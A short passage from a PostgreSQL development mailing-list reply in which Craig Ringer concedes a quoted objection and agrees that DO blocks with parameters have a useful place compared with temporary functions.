> tables were rejected for WITH).
>
> So we decided at least twice already that this kind of solution is bad,
> I don't know of any change that would invalidate the reasons for
> deciding that way so I don't see why they would suddenly become
> acceptable...

All good points. I was wrong to suggest just going for TEMPORARY
FUNCTION before, there's clearly a useful place for DO with parameters.

--
Craig Ringer http://www.2ndQuadrant.com/
PostgreSQL Development, 24x7 Support, Training & Services